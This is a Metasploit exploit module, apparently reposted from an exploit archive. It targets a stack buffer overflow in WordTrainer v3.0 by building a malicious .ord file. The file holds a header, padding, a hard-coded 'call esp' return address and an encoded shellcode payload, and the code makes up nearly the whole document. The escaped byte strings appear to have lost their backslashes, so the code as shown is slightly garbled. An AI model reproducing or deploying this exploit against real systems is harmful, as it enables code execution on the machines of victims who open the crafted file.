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WordTrainer v3.0 (ORD File) Stack Buffer Overflow

Posted on 05 July 2011

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name'           => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow',
'Description'    => %q{
This module exploits a stack-based buffer overflow in WordTrainer v3.0.  An attacker must send the file to the victim and the victim must open the file.
},
'License'        => MSF_LICENSE,
'Author'         => [
'C4SS!0 G0M3S', # Initial Exploit
'James Fitts'   # Metasploit Module
],
'Version'        => '$Revision: $',
'References'     =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17157' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'        =>
{
'Space'    => 1500,
'BadChars' => "x00x09x0ax0bx0cx0dx0ex0fx1ax20",
},
'Platform' => 'win',
'Targets'        =>
[
[ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe
],
'Privileged'     => false,
'DisclosureDate' => 'Apr 12 2011',
'DefaultTarget'  => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.',  'msf.ord']),
], self.class)
end

def exploit

ord = "x47x4Cx4Fx53x4Fx52x0Dx0Ax31x0Dx0Ax0Dx0Ax20x0Dx0A" # header
ord << rand_text_alpha_upper(868)
ord << [target.ret].pack('V')
ord << payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(ord)

end

end

 

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